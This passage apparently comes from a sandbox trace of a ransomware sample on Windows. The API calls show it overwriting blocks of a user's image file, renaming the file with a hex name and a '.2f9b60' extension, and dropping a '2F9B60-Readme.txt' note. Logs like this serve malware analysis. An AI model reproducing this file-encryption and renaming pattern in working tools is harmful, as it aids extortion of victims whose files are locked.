NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x4310ca60 Thread: id = 2307 os_tid = 0x1c70 [0148.898] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\0EQaNx_e8UDf.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\0eqanx_e8udf.gif")) returned 0x20 [0148.898] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\0EQaNx_e8UDf.gif", dwFileAttributes=0x20) returned 1 [0148.899] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\0EQaNx_e8UDf.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\0eqanx_e8udf.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b6c [0148.900] GetFileSizeEx (in: hFile=0x1b6c, lpFileSize=0x2119fda0 | out: lpFileSize=0x2119fda0*=77904) returned 1 [0148.900] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x1304c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.900] ReadFile (in: hFile=0x1b6c, lpBuffer=0x2119fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2119fd68, lpOverlapped=0x0 | out: lpBuffer=0x2119fd20*, lpNumberOfBytesRead=0x2119fd68*=0x4, lpOverlapped=0x0) returned 1 [0148.901] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202653a0 [0148.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202648f0 [0148.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202648c0 [0148.902] NtQuerySystemTime (in: CurrentTime=0x2119fc60 | out: CurrentTime=0x2119fc60*=132462177541354000) returned 0x0 [0148.902] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0xdaa6dcd [0148.902] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x1c05df9d [0148.902] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x2ee2de40 [0148.902] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x44ab0cda [0148.902] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x52ba81dc [0148.902] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x6d7fca8f [0148.902] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x9a04e1b [0148.902] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x481cf8ea [0148.902] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x39508ecd [0148.902] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x4d03c1a6 [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x2d29540 [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x4caa571e [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x1a318267 [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x66ae84f7 [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x776f06f6 [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x5ce640d8 [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x30a1b29e [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x3e63fbf [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x6f68b1c1 [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x5a0d4899 [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x22cbdd71 [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0xbbc1720 [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x69e71c42 [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x24f96b7d [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x6d4c780 [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x346ded29 [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x3b063351 [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x5071710b [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x53a3be7 [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x6be23d4f [0148.903] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x26c1ca7 [0148.904] RtlRandomEx (in: Seed=0x2119fc50 | out: Seed=0x2119fc50) returned 0x4bac0e8d [0148.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264980 [0148.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267740 [0148.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202648c0) returned 1 [0148.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202653a0) returned 1 [0148.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f500b0 [0148.918] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.918] ReadFile (in: hFile=0x1b6c, lpBuffer=0x41f500b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2119fcc0, lpOverlapped=0x0 | out: lpBuffer=0x41f500b0*, lpNumberOfBytesRead=0x2119fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.919] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0148.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0148.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202653a0 [0148.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202653a0) returned 1 [0148.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f6e130 [0148.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202653a0 [0148.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202648c0 [0148.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202648c0) returned 1 [0148.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0148.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0148.921] WriteFile (in: hFile=0x1b6c, lpBuffer=0x41f6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2119fcc0, lpOverlapped=0x0 | out: lpBuffer=0x41f6e130*, lpNumberOfBytesWritten=0x2119fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f6e130) returned 1 [0161.467] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.467] ReadFile (in: hFile=0x1b6c, lpBuffer=0x41f500b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2119fcc0, lpOverlapped=0x0 | out: lpBuffer=0x41f500b0*, lpNumberOfBytesRead=0x2119fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.467] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19270 [0161.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec65a0 [0161.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4610 [0161.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4610) returned 1 [0161.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f6e130 [0161.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4610 [0161.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4640 [0161.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4640) returned 1 [0161.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec65a0) returned 1 [0161.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19270) returned 1 [0161.470] WriteFile (in: hFile=0x1b6c, lpBuffer=0x41f6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2119fcc0, lpOverlapped=0x0 | out: lpBuffer=0x41f6e130*, lpNumberOfBytesWritten=0x2119fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f6e130) returned 1 [0161.476] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0xf450, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.476] ReadFile (in: hFile=0x1b6c, lpBuffer=0x41f500b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2119fcc0, lpOverlapped=0x0 | out: lpBuffer=0x41f500b0*, lpNumberOfBytesRead=0x2119fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.476] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0xf450, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce192c0 [0161.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6620 [0161.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4700 [0161.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4700) returned 1 [0161.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f6e130 [0161.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4700 [0161.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4730 [0161.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4730) returned 1 [0161.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6620) returned 1 [0161.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce192c0) returned 1 [0161.478] WriteFile (in: hFile=0x1b6c, lpBuffer=0x41f6e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2119fcc0, lpOverlapped=0x0 | out: lpBuffer=0x41f6e130*, lpNumberOfBytesWritten=0x2119fcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f6e130) returned 1 [0161.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1b80 [0161.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4700) returned 1 [0161.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4610) returned 1 [0161.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202653a0) returned 1 [0161.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f500b0) returned 1 [0161.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d8300 [0161.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce192c0 [0161.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6620 [0161.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202653a0 [0161.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202653a0) returned 1 [0161.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7d8540 [0161.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202653a0 [0161.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4610 [0161.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4610) returned 1 [0161.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6620) returned 1 [0161.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce192c0) returned 1 [0161.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x152) returned 0x1338c0 [0161.485] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.485] WriteFile (in: hFile=0x1b6c, lpBuffer=0x1338c0*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2119fd70, lpOverlapped=0x0 | out: lpBuffer=0x1338c0*, lpNumberOfBytesWritten=0x2119fd70*=0x152, lpOverlapped=0x0) returned 1 [0163.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0163.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e00 [0163.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0e00) returned 1 [0163.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0e00 [0163.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0dd0 [0163.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0d10 [0163.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0d10) returned 1 [0163.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0163.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1b82c760 [0163.260] sprintf (in: _Dest=0x1b82c760, _Format="%c%c" | out: _Dest="fe") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c762, _Format="%c%c" | out: _Dest="17") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c764, _Format="%c%c" | out: _Dest="a2") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c766, _Format="%c%c" | out: _Dest="85") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c768, _Format="%c%c" | out: _Dest="4e") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c76a, _Format="%c%c" | out: _Dest="c6") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c76c, _Format="%c%c" | out: _Dest="f8") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c76e, _Format="%c%c" | out: _Dest="91") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c770, _Format="%c%c" | out: _Dest="d2") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c772, _Format="%c%c" | out: _Dest="51") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c774, _Format="%c%c" | out: _Dest="cd") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c776, _Format="%c%c" | out: _Dest="9f") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c778, _Format="%c%c" | out: _Dest="78") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c77a, _Format="%c%c" | out: _Dest="b1") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c77c, _Format="%c%c" | out: _Dest="5e") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c77e, _Format="%c%c" | out: _Dest="57") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c780, _Format="%c%c" | out: _Dest="75") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c782, _Format="%c%c" | out: _Dest="53") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c784, _Format="%c%c" | out: _Dest="f3") returned 2 [0163.260] sprintf (in: _Dest=0x1b82c786, _Format="%c%c" | out: _Dest="e7") returned 2 [0163.261] sprintf (in: _Dest=0x1b82c788, _Format="%c%c" | out: _Dest="1e") returned 2 [0163.261] sprintf (in: _Dest=0x1b82c78a, _Format="%c%c" | out: _Dest="ab") returned 2 [0163.261] sprintf (in: _Dest=0x1b82c78c, _Format="%c%c" | out: _Dest="92") returned 2 [0163.261] sprintf (in: _Dest=0x1b82c78e, _Format="%c%c" | out: _Dest="e2") returned 2 [0163.261] sprintf (in: _Dest=0x1b82c790, _Format="%c%c" | out: _Dest="17") returned 2 [0163.261] sprintf (in: _Dest=0x1b82c792, _Format="%c%c" | out: _Dest="5d") returned 2 [0163.261] sprintf (in: _Dest=0x1b82c794, _Format="%c%c" | out: _Dest="10") returned 2 [0163.261] sprintf (in: _Dest=0x1b82c796, _Format="%c%c" | out: _Dest="71") returned 2 [0163.261] sprintf (in: _Dest=0x1b82c798, _Format="%c%c" | out: _Dest="32") returned 2 [0163.261] sprintf (in: _Dest=0x1b82c79a, _Format="%c%c" | out: _Dest="ce") returned 2 [0163.261] sprintf (in: _Dest=0x1b82c79c, _Format="%c%c" | out: _Dest="79") returned 2 [0163.261] sprintf (in: _Dest=0x1b82c79e, _Format="%c%c" | out: _Dest="d1") returned 2 [0163.261] RtlInitAnsiString (in: DestinationString=0x2119fde8, SourceString="fe17a2854ec6f891d251cd9f78b15e577553f3e71eab92e2175d107132ce79d1" | out: DestinationString="fe17a2854ec6f891d251cd9f78b15e577553f3e71eab92e2175d107132ce79d1") [0163.261] RtlAnsiStringToUnicodeString (in: DestinationString=0x2119fdb8, SourceString="fe17a2854ec6f891d251cd9f78b15e577553f3e71eab92e2175d107132ce79d1", AllocateDestinationString=1 | out: DestinationString="fe17a2854ec6f891d251cd9f78b15e577553f3e71eab92e2175d107132ce79d1") returned 0x0 [0163.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x42c22480 [0163.261] RtlFreeAnsiString (AnsiString="f") [0163.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0163.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0e00) returned 1 [0163.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0dd0) returned 1 [0163.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1338c0) returned 1 [0163.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8540) returned 1 [0163.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202653a0) returned 1 [0163.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8300) returned 1 [0163.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b80) returned 1 [0163.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202648f0) returned 1 [0163.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264980) returned 1 [0163.264] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267740) returned 1 [0163.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050d420 [0163.265] wcscat (in: _Dest=0x2050d420, _Source="fe17a2854ec6f891" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\fe17a2854ec6f891") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\fe17a2854ec6f891" [0163.265] wcscat (in: _Dest=0x2050d420, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\fe17a2854ec6f891.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\fe17a2854ec6f891.2f9b60" [0163.265] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\fe17a2854ec6f891.2f9b60", NtPathName=0x2119fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\fe17a2854ec6f891.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x119170 [0164.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119170) returned 1 [0164.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c26db0) returned 1 [0164.309] NtQueryInformationFile (in: FileHandle=0x1b6c, IoStatusBlock=0x2119fdf8, FileInformation=0x2119fe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2119fdf8, FileInformation=0x2119fe08) returned 0x0 [0164.309] NtSetInformationFile (FileHandle=0x1b6c, IoStatusBlock=0x2119fdf8, FileInformation=0x2119fe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d420) returned 1 [0165.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22480) returned 1 [0165.115] FlushFileBuffers (hFile=0x1b6c) returned 1 [0166.277] CloseHandle (hObject=0x1b6c) returned 1 [0200.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x431f4400 [0200.292] wcscpy (in: _Dest=0x431f4400, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\" [0200.292] wcscat (in: _Dest=0x431f4400, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\2F9B60-Readme.txt" [0200.292] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\tmlaqdvmhm9kgh9\\umfg\\2f9b60-readme.txt")) returned 0x20 [0203.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4400) returned 1 [0203.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac2c0) returned 1 Thread: id = 2308 os_tid = 0x1c74 [0148.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205cbf0 [0148.923] wcscpy (in: _Dest=0x4205cbf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N" [0148.923] wcscat (in: _Dest=0x4205cbf0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\" [0148.923] wcscat (in: _Dest=0x4205cbf0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\*" [0148.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1dd20 [0148.923] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\UmFg\\iQmSj-3N\\*", lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x655740e0, ftCreationTime.dwHighDateTime=0x1d5dceb, ftLastAccessTime.dwLowDateTime=0x95ba5270, ftLastAccessTime.dwHighDateTime=0x1d5e1d4, ftLastWriteTime.dwLowDateTime=0x95ba5270, ftLastWriteTime.dwHighDateTime=0x1d5e1d4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d730 [0148.923] wcscmp (_String1=".", _String2=".") returned 0 [0148.923] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x655740e0, ftCreationTime.dwHighDateTime=0x1d5dceb, ftLastAccessTime.dwLowDateTime=0x95ba5270, ftLastAccessTime.dwHighDateTime=0x1d5e1d4, ftLastWriteTime.dwLowDateTime=0x95ba5270, ftLastWriteTime.dwHighDateTime=0x1d5e1d4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.923] wcscmp (_String1="..", _String2=".") returned 1 [0148.923] wcscmp (_String1="..", _String2="..") returned 0 [0148.923] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f803a20, ftCreationTime.dwHighDateTime=0x1d5e60d, ftLastAccessTime.dwLowDateTime=0x2c42ab20, 